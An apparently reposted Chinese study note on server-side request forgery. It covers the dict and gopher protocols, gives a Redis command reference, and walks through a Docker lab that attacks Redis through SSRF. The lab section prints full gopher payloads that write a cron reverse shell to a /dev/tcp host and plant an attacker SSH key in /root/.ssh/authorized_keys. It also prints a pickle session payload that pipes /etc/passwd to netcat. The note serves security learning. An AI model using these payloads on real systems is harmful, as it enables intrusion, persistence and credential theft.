当前位置: 首页 > ops >正文

SSRF的学习笔记

什么是 SSRF(服务器端请求伪造)

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种常见的 Web 安全漏洞,其核心原理是攻击者利用服务器端程序的漏洞,诱导服务器主动向攻击者指定的目标地址发起请求,从而绕过客户端的访问限制(如防火墙、IP 白名单等),实现未授权访问、信息窃取、内网探测甚至远程代码执行等攻击目的。

正常情况下,服务器的请求行为应遵循预设逻辑(如仅请求特定合法域名的资源);而 SSRF 漏洞会打破这一逻辑 —— 攻击者通过构造特殊的请求参数(如 URL、IP、端口等),让服务器 “替自己做事”,发起本不应有的请求。简单来说:攻击者无法直接访问某目标(如内网系统、受限 IP),但能操控服务器去访问该目标,再将访问结果返回给攻击者

SSRF要配合一些协议使用

dict协议

dict 的初体验

多说无益,直接上一个用了 dict 协议的服务让你们来体验一下

首先在你的电脑上安装一个 telnet 客户端 Windows 和 Mac / Linux 上应该都有对应的客户端

安装好了以后用这个命令来登陆

由于编码原因,有些非英文字符在某些系统上可能会乱码

telnet dict.org 2628

之后如果连接上了,能看到对应的提示:

220 dict.dict.org dictd 1.12.1/rf on Linux 4.19.0-10-amd64 <auth.mime><56180310.14213.1628480435@dict.dict.org>

在终端中输入 h 来获取帮助

113 help text follows
DEFINE database word         -- look up word in database
MATCH database strategy word -- match word in database using strategy
SHOW DB                      -- list all accessible databases
SHOW DATABASES               -- list all accessible databases
SHOW STRAT                   -- list available matching strategies
SHOW STRATEGIES              -- list available matching strategies
SHOW INFO database           -- provide information about the database
SHOW SERVER                  -- provide site-specific information
OPTION MIME                  -- use MIME headers
CLIENT info                  -- identify client to server
AUTH user string             -- provide authentication information
STATUS                       -- display timing information
HELP                         -- display this help information
QUIT                         -- terminate connection
​
The following commands are unofficial server extensions for debugging
only.  You may find them useful if you are using telnet as a client.
If you are writing a client, you MUST NOT use these commands, since
they won't be supported on any other server!
​
D word                       -- DEFINE * word
D database word              -- DEFINE database word
M word                       -- MATCH * . word
M strategy word              -- MATCH * strategy word
M database strategy word     -- MATCH database strategy word
S                            -- STATUS
H                            -- HELP
Q                            -- QUIT

在终端中输入 show db 命令(这个东西貌似不区分大小写的样子)来列出所有的字典

image.png

在最后我们看到了 english 这个字典

在最后我们输入 define [字典名] [单词] 这样的命令来获取一个单词的解释

比如说 define english hello

image.png

服务器就会返回对应的单词解释

dict 协议是啥

dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。不过貌似用的比较少,所以网上基本没啥资料(包括谷歌上)。可以看到用这个协议架设的服务可以用 telnet 来登陆,说明这个协议应该是基于 tcp 协议开发的。

所以像 mysql 的服务,因为也是基于 tcp 协议开发,所以用 dict 协议的方式打开也能强行读取一些 mysql 服务的返回内容

比如说下面这段程序:

<?php
​
// 文件名: main.php$url = "dict://localhost:3306"; // localhost:3306 上架设了我的 mysql 服务
​
$ch = curl_init($url);
curl_exec($ch);
curl_close($ch);

输出结果:

image.png

可以看到虽然乱码,但是还是强行读取出来了一些可以辨识的数据,比如说 mysql 的版本号

gopher协议

0x01 Gopher协议

  • gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,GopherInternet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。

  • 它只支持文本,不支持图像

0x02 协议访问学习

  • 我们现在最多看到使用这个协议的时候都是在去ssrfredis shell、读mysql数据的时候,由于之前对这个协议了解不是很熟,所以这次看到这篇文章后打算借此学习一下他的通信方式

  • 首先最基础的看一下它如何发送get请求

复现环境

centos7 + kali 2018
  • centos7主机使用nc监听端口,nc -lvp 6666

  • 然后用kali使用curl gopher://ip:6666/_abcd发送gopher get请求,可以发现_不会被显示

  • gopher协议格式:gopher://IP:port/_{TCP/IP数据流}

    gopher

    gopher

发送http get请求
  • 在gopher协议中发送HTTP的数据,需要以下三步

  • 构造HTTP数据包

  • URL编码、替换回车换行为%0d%0aHTTP包最后加%0d%0a`代表消息结束

  • 发送gopher协议, 协议后的IP一定要接端口

  • curl gopher://192.168.109.166:80/_GET%20/get.php%3fparam=Konmu%20HTTP/1.1%0d%0aHost:192.168.109.166%0d%0a

  • get.php中写入<?php echo "Hello"." ".$_GET['param']."\n"?>

  • 此外自己本地测试时要注意将防火墙关掉

    gopher

发送http post请求
  • POSTGET传参的区别:它有4个参数为必要参数

  • 需要传递Content-Type,Content-Length,host,post的参数

  • post.php中写入<?php echo "Hello".$_POST['name']."\n";?>

  • POST与GET传参的区别:它有4个参数为必要参数
    ​
    POST /post.php HTTP/1.1host:192.168.194.1Content-Type:application/x-www-form-urlencodedContent-Length:12name=purplet
    ​
    如下构造:
    ​
    curl gopher://192.168.194.1:80/_POST%20/post.php%20HTTP/1.1%0d%0AHost:192.168.194.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:12%0d%0A%0d%0Aname=purplet%0d%0A

通过 SSRF 攻击利用 Redis

Redis 是一个内存数据结构存储,用于以键值的形式存储数据,可用作数据库、序列化/会话存储、缓存和作业队列。

例如在框架Django和Flask中,Redis可以用作会话实例,或者在Gitlab中使用Redis作为作业队列。

Redis 使用,Text Based line protocol因此可以使用telnetnetcat不需要特殊软件来访问 Redis 实例,但是 Redis 有一个名为的官方客户端软件redis-cli。‌

Redis 支持两种类型的命令:

‌ 1.非RESP(REdis序列化协议)格式使用空格作为分隔符。

2.RESP格式,这种格式是比较推荐的(因为这是 Redis 请求/响应的标准),另外使用这种格式还可以避免 Redis 请求中出现引号(“”等特殊字符时出现语法错误)。

Redis命令

一、通用命令(适用于所有数据类型)

  1. KEYS pattern

    • 功能:查找所有符合给定模式 pattern 的键

    • 示例:KEYS user:* → 查找所有以 user: 开头的键

  2. EXISTS key

    • 功能:检查键是否存在(返回 1 存在,0 不存在)

    • 示例:EXISTS username → 检查 username 键是否存在

  3. DEL key [key ...]

    • 功能:删除一个或多个键(返回删除成功的数量)

    • 示例:DEL user:100 cart:200 → 删除两个键

  4. EXPIRE key seconds

    • 功能:为键设置过期时间(单位:秒)

    • 示例:EXPIRE session:123 3600 → 键 session:123 1 小时后过期

  5. TTL key

    • 功能:查看键的剩余过期时间(-1 永不过期,-2 已过期 / 不存在)

    • 示例:TTL session:123 → 查看剩余有效期

  6. TYPE key

    • 功能:返回键所存储值的数据类型(string、list、hash 等)

    • 示例:TYPE user:100 → 查看 user:100 的类型

二、字符串(String)命令

String 是 Redis 最基础的类型,可存储文本或二进制数据(最大 512MB)。

  1. SET key value [EX seconds] [PX milliseconds] [NX|XX]

    • 功能:设置键值对,可选参数:

      • EX:过期时间(秒);PX:过期时间(毫秒)

      • NX:仅当键不存在时设置;XX:仅当键存在时设置

    • 示例:SET username "alice" EX 3600 → 设置 username 为 "alice",1 小时后过期

  2. GET key

    • 功能:获取键对应的值(键不存在返回 nil

    • 示例:GET username → 返回 "alice"

  3. INCR key / DECR key

    • 功能:对数值类型的值进行自增 / 自减(值需为整数)

    • 示例:INCR counter → 计数器 +1;DECR counter → 计数器 -1

  4. APPEND key value

    • 功能:向字符串末尾追加内容(返回新字符串长度)

    • 示例:APPEND username "_admin" → 将 username 从 "alice" 变为 "alice_admin"

三、列表(List)命令

List 是有序的字符串列表,支持两端插入 / 删除,类似双向链表。

  1. LPUSH key value [value ...] / RPUSH key value [value ...]

    • 功能:向左(头部)/ 向右(尾部)插入一个或多个值

    • 示例:LPUSH fruits "apple" → 列表 fruits 头部添加 "apple"

  2. LPOP key / RPOP key

    • 功能:移除并返回列表头部 / 尾部的元素

    • 示例:RPOP fruits → 移除并返回 fruits 尾部元素

  3. LRANGE key start stop

    • 功能:返回列表中从 startstop 的元素(索引从 0 开始,-1 表示最后一个)

    • 示例:LRANGE fruits 0 2 → 返回前 3 个元素

  4. LLEN key

    • 功能:返回列表的长度

    • 示例:LLEN fruits → 查看 fruits 列表有多少元素

四、哈希(Hash)命令

Hash 用于存储键值对集合,适合表示对象(如用户信息、商品属性)。

  1. HSET key field value [field value ...]

    • 功能:为哈希表设置一个或多个字段的值

    • 示例:HSET user:100 name "alice" age 25 → 设置用户 100 的姓名和年龄

  2. HGET key field

    • 功能:获取哈希表中指定字段的值

    • 示例:HGET user:100 name → 返回 "alice"

  3. HGETALL key

    • 功能:返回哈希表中所有字段和值

    • 示例:HGETALL user:100 → 返回 name "alice" age "25"

  4. HDEL key field [field ...]

    • 功能:删除哈希表中的一个或多个字段

    • 示例:HDEL user:100 age → 删除用户 100 的 age 字段

五、集合(Set)命令

Set 是无序的字符串集合,元素唯一,支持交集、并集等操作。

  1. SADD key member [member ...]

    • 功能:向集合添加一个或多个元素(已存在的元素会被忽略)

    • 示例:SADD tags "redis" "database" → 集合 tags 添加两个标签

  2. SMEMBERS key

    • 功能:返回集合中的所有元素

    • 示例:SMEMBERS tags → 返回 redisdatabase

  3. SISMEMBER key member

    • 功能:判断元素是否在集合中(1 存在,0 不存在)

    • 示例:SISMEMBER tags "redis" → 返回 1

  4. SUNION key1 key2

    • 功能:返回两个集合的并集

    • 示例:SUNION tags1 tags2 → 合并两个标签集合

六、有序集合(Sorted Set)命令

Sorted Set 类似 Set,但每个元素关联一个分数(score),可按分数排序。

  1. ZADD key score member [score member ...]

    • 功能:向有序集合添加元素及分数(分数可用于排序)

    • 示例:ZADD rank 90 "alice" 85 "bob" → 添加用户及分数到排名表

  2. ZRANGE key start stop [WITHSCORES]

    • 功能:按分数升序返回指定范围的元素(加 WITHSCORES 显示分数)

    • 示例:ZRANGE rank 0 1 WITHSCORES → 返回前两名及分数

  3. ZREVRANGE key start stop

    • 功能:按分数降序返回元素(常用于取 “Top N”)

    • 示例:ZREVRANGE rank 0 0 → 返回分数最高的元素

七、其他常用命令

  • FLUSHDB:清空当前数据库的所有键

  • FLUSHALL:清空所有数据库的所有键(谨慎使用!)

  • INFO:查看 Redis 服务器的状态信息(如内存使用、连接数)

  • CONFIG GET parameter:获取配置参数(如 CONFIG GET maxmemory 查看最大内存限制)

以上是 Redis 最核心的命令,实际使用中可通过 HELP command(如 HELP SET)查看命令详情。根据业务场景选择合适的数据结构和命令,能大幅提升 Redis 的使用效率。

Redis 持久性

Redis 将数据存储在内存中,因此当服务器重启时数据将会丢失,因为 RAM 是易失性存储,为了避免这个问题,Redis 具有持久性特性,它会将数据保存到硬盘上。

Redis 提供两种类型的持久性:‌

  • SAVERDB(Redis 数据库备份),每次执行“ ”命令时,都会将数据保存到硬盘上,并且

  • AOF(Append Only File)每次执行操作后都会将数据保存到硬盘中(基本上它的功能就像Bash Shell.bash_history每次命令成功执行后都会保存命令历史记录)。

Redis 持久性配置参数

AOF 并不是进行文件写入的好选择(在本博文中的 SSRF 上下文中),因为 Redis 不允许使用命令(在运行时)更改 AOF 文件名(默认情况下: appendonly.aofCONFIG SET ) ,而必须直接通过编辑文件来完成redis.conf

Redis 漏洞

影响 Redis 的最后一个漏洞是Ben Murphy 发现的*Redis EVAL Lua Sandbox Escape — CVE-2015-4335*。不过,这个问题已从 Redis 2.8.21 和 3.0.2 版开始修复。‌

在撰写本文时,尚无可直接在 Redis 实例上获取 RCE 的漏洞,但攻击者可以利用“持久性”功能,或者利用相关应用程序中的不安全序列化,以便将其用作获取 RCE 的技术。此外,Pavel Toporkov 还发现了“ Redis 后漏洞利用”,可利用该漏洞在 Redis 实例上获取 RCE。

Redis 与 HTTP

Redis 和 HTTP 都是基于文本的协议,因此 HTTP 可用于访问 Redis,但由于它有可能导致安全问题,自Redis 3.2.7发布以来,它使HTTP Header HOSTPOST作为QUIT命令的别名,然后记录消息“检测到可能的安全攻击。看起来有人正在向 Redis 发送 POST 或 Host: 命令。这可能是由于攻击者试图使用跨协议脚本来破坏您的 Redis 实例。连接中止。 ”会在 Redis 日志中生成。

使用以下命令打开 Redis 连接:POST 或 HOST:

如果要强制 HTTP 与 Redis ≥ 3.2.7进行通信,则需要在 GET 参数部分进行 SSRF(GET 方法)+ CRLF 注入。为了避免 POSTCRLF 注入关键字,HOST Header 将位于 Redis 命令之后的位置。‌

琐事:别名 POST 到 QUIT 是根据 news.ycombinator.com 论坛成员geocar的建议创建的。

实验室设置

$ git clone https://github.com/rhamaa/Web-Hacking-Lab.git$ cd SSRF_REDIS_LAB$docker-compose build&&docker-compose up

实验室信息

img

img

SSRF 实验室网站

本博文中每个由payload_redis.py生成的 Payload ,都会以 URL 的形式输入到 SSRF Lab Web 中,所以不需要将攻击过程的截图发到 Lab 中。提供这些信息是为了避免大家对如何进行攻击产生困惑。

默认情况下,Redis 以用户“redis”的低权限运行。在实验室中,我们使用 root 权限来写入 crontab 和 authorized_key ssh,因为用户“redis”没有写入这两个文件的权限。

Redis 与 SSRF

Redis — Cron

crontabCron是Linux上的一个任务调度程序,cron会根据设定的时间周期性地执行使用命令设置的命令。

Cron 将 crontab 文件存储在/var/spool/cron/<Username>(Centos)、/var/spool/cron/crontabs/<Username>(Ubuntu) 中,并且系统范围的 crontab 存储在/etc/crontabs.‌

实验室将使用两种不同的操作系统,因为 Centos 和 Ubuntu 上的 cron 行为略有不同。

$ python payload_redis.py cron
Reverse IP >
Port >
Centos/Ubuntu (Default Centos)
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A
%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2477%0D%0A%0A
%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20/bin/bash%20-c%20%27sh%20-i%20%3E
%26%20/dev/tcp/b%27XXX.XXX.XXX.XXX%27/8080%200%3E%261%27%0A%0A%0D%0A%
2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A
%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243
%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D
%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A•

Ubuntu实验室

Redis 会以 0644 权限写入文件,而 ubuntu 上的 crontab 文件预计具有 0600 权限,因此它会在系统日志中给出警告。

img

另外,Redis RDB文件中存在虚拟数据,这会导致 cron 忽略 crontab 文件,因为存在无效语法,所以即使 crontab 文件具有0600权限也不会执行。

img

Cron 语法错误

在 Ubuntu 中,通过 SSRF 使用 Redis 写入 crontab 文件将无法正常工作,因为 Ubuntu 中的 crontab 文件需要具有 0600 权限才能执行,并且需要清除导致语法错误的虚拟数据。

Centos 实验室

在 Centos 上,即使 crontab 文件的权限为 0644,且有虚拟数据,cron 仍会被执行,这样它就可以获得反向 shell。

img

Redis — SSH 公钥

‌Authorized_keys 用于存储 SSH 公钥列表,以便用户使用 SSH 私钥-公钥对而不是密码登录。Authorized_keys 位于$HOME/.ssh/authorized_keys

如果$HOME/.ssh/authorized_keys可写,则可以用它来存储攻击者的 SSH 密钥。

$ python payload_redis.py ssh
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D
%0A%241%0D%0A1%0D%0A%24403%0D%0A%0D%0A%0D%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQD
c4B6PTML3xiqId/qw8cJkPmwSbtdOsAS2IGUUk1ifRHZsdfgcFvj7fzMFo1ydGAOuZcGPeT838LQ3R8ruWe4B
788Q5ZKRO6CZSoEmqs4FWuCz7QvwWu9%2B2kMH/6gUvVQAQNYD2RACXgJcCAm77bg/WHZfgGJYNtOKDUf%2B0
V1ku%2B/h8ijsQJdkuk5Zr7w1xjOdigLs8ST7MivptfYGvbnh/XUk3Y2EfyoACmW0MpcnthdLL3s/8SOs5exe
kRNYYU9rn74itibDHlsYvukBtKhW/XOAPZ3T38qDf7PJyqPoOl%2BAQ8AaFwIBVfE7V1mPRCqZLkG97SRjMy1
V9dhTgG4h%20rhama%40Inspiron-7472%0D%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0A
set%0D%0A%243%0D%0Adir%0D%0A%2410%0D%0A/root/.ssh%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A
%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A
%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
====================================================
After payload executed, try ssh root@server_hostname
====================================================

即使存在虚拟数据,也可以访问 Ubuntu 和 Centos Lab ssh。

img

通过 SSH 连接到 Ubuntu 实验室

Redis 作为会话存储

后端服务器经常使用 Redis 作为 Session 存储,在 Redis 网页实验中,Session 存储将重点介绍如何利用不安全的序列化,因为Session通常以对象的形式存在,为了将这些对象存储到 Redis,必须将 Session 对象转换为字符串。将对象转换为字符串的过程称为“*序列化*”,将字符串转换为对象的过程称为“*反序列化*”。

该实验室使用来自带有Redis 的服务器端会话的示例代码片段将Redis 实现为会话存储,并使用Pickle作为**序列化器,已知 pickle 是不安全的,可被利用来获取 RCE。

img

攻击流程比较简单,我们只需要通过SSRF用Payload Pickle更改session的值即可。根据源码中的逻辑,session会被序列化并进行base64编码。

为了能够更改 Redis 中存储的会话值,您需要一个键名,在本实验中,会话将以该名称存储session:<session_id>

img

使用 redis-cli 检查 Redis 中存储的值

我们可以使用浏览器默认的开发者工具查看 Session-Id

img

琐事:Flask 内部

当请求即将结束或者视图返回时,Flask 会在内部调用该finalize_request方法,然后在该finalize_request方法中又会调用从类中process_response调用的方法,该方法会保存会话的值(在这篇博文的上下文中,会话值会保存到 Redis 中)。save_session``session_interface``save_session

为什么这些信息很重要?因为当我们尝试通过 SSRF 更改 Redis 中 flask 会话的值时,我们之前通过 SSRF 更改的值将被原始值覆盖。

Pickle-Redis 实验室至少有 3 种场景可以实现 RCE:

  1. 当执行SSRF payload时,我们同时访问其他端点,例如/login(此方法可以使用多线程/多处理),因为在访问其他端点时,Flask会调用类open_session的方法session_interface,然后检索会话值(因此要避免save_session)。

  2. 修改 Session-Id 的值,然后将修改后的 Session-Id 写入 Payload Pickle,例如 Session Id 是 AAAA-AAAA-AAAA-AAAA,我们可以将其改为 AAAA-AAAA-AAAA-AAAB,然后设置 AAAA-AAAA-AAAA-AAAB 作为 Key,以后在客户端只需要使用 AAAA-AAAA-AAAA-AAAB 就可以了,这样 Flask 就可以读取 Session Id 的值了。

  3. 使用Master-Slave Redis功能(通过命令通过SSRF触发SLAVEOF),然后直接通过Master更改值,因为Master中发生的任何更改都会自动同步到Slave。‌

在这篇博文中,我们将选择场景 2,

$ python2 payload_redis.py pickle
Key name > session:8ac1cb48-5064-4067-9e43-ed0df6856425
http://127.0.0.1:6379/_%0D%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%2444%0D%0Asession%3A8ac1
cb48-5064-4067-9e43-ed0df6856425%0D%0A%2492%0D%0AY3Bvc2l4CnN5c3RlbQpwMAooUydjYXQgL2V0Y
y9wYXNzd2QgfCBuYyAxMjcuMC4wLjEgOTA5MScKcDEKdHAyClJwMwou%0D%0A

注意:原始会话 ID session:8ac1cb48–5064–4067–9e43-ed0df685642 *6*更改为session:8ac1cb48–5064–4067–9e43-ed0df685642 *5*

img

Rce 结果,cat /etc/passwd | nc IP PORT

http://www.xdnf.cn/news/18589.html

相关文章:

  • React useState 全面深入解析
  • 6.2 el-menu
  • Axure RP 9的安装
  • 如何让FastAPI在百万级任务处理中依然游刃有余?
  • Postman参数类型、功能、用途及 后端接口接收详解【接口调试工具】
  • 【C++】函数返回方式详解:传值、传引用与传地址
  • Linux 824 shell:expect
  • 今日科技热点 | AI加速创新,5G与量子计算引领未来
  • PHP - 实例属性访问与静态方法调用的性能差异解析
  • B站视频字幕提取工具
  • mysql 5.7 查询运行时间较长的sql
  • 【计算机408数据结构】第三章:基本数据结构之栈
  • 苍穹外卖项目实战(日记十)-记录实战教程及问题的解决方法-(day3-2)新增菜品功能完整版
  • 启动Flink SQL Client并连接到YARN集群会话
  • 拓展:simulink中将仿真环境离散化
  • K8S的部署与常用管理
  • VS2022的MFC中关联使用控制台并用printf输出调试信息
  • Redis 高可用篇
  • rust语言 (1.88) egui (0.32.1) 学习笔记(逐行注释)(十四)垂直滚动条
  • HarmonyOS实战(DevEco AI篇)—深度体验DevEco CodeGenie智能编程助手
  • 算法训练营day60 图论⑩ Bellman_ford 队列优化算法、判断负权回路、单源有限最短路(修改后版本)
  • `strcat` 字符串连接函数
  • 蔬菜溯源系统的开发与设计小程序
  • 新疆地州市1米分辨率土地覆盖图
  • Placement new是什么
  • 这也许就是DeepSeek V3.1性能提升的关键:UE8M0与INT8量化技术对比与优势分析
  • Python Excel
  • 何为‘口业’,怎么看待它
  • C++哈希表:unordered_map与unordered_set全解析
  • 搜索算法在实际场景中的应用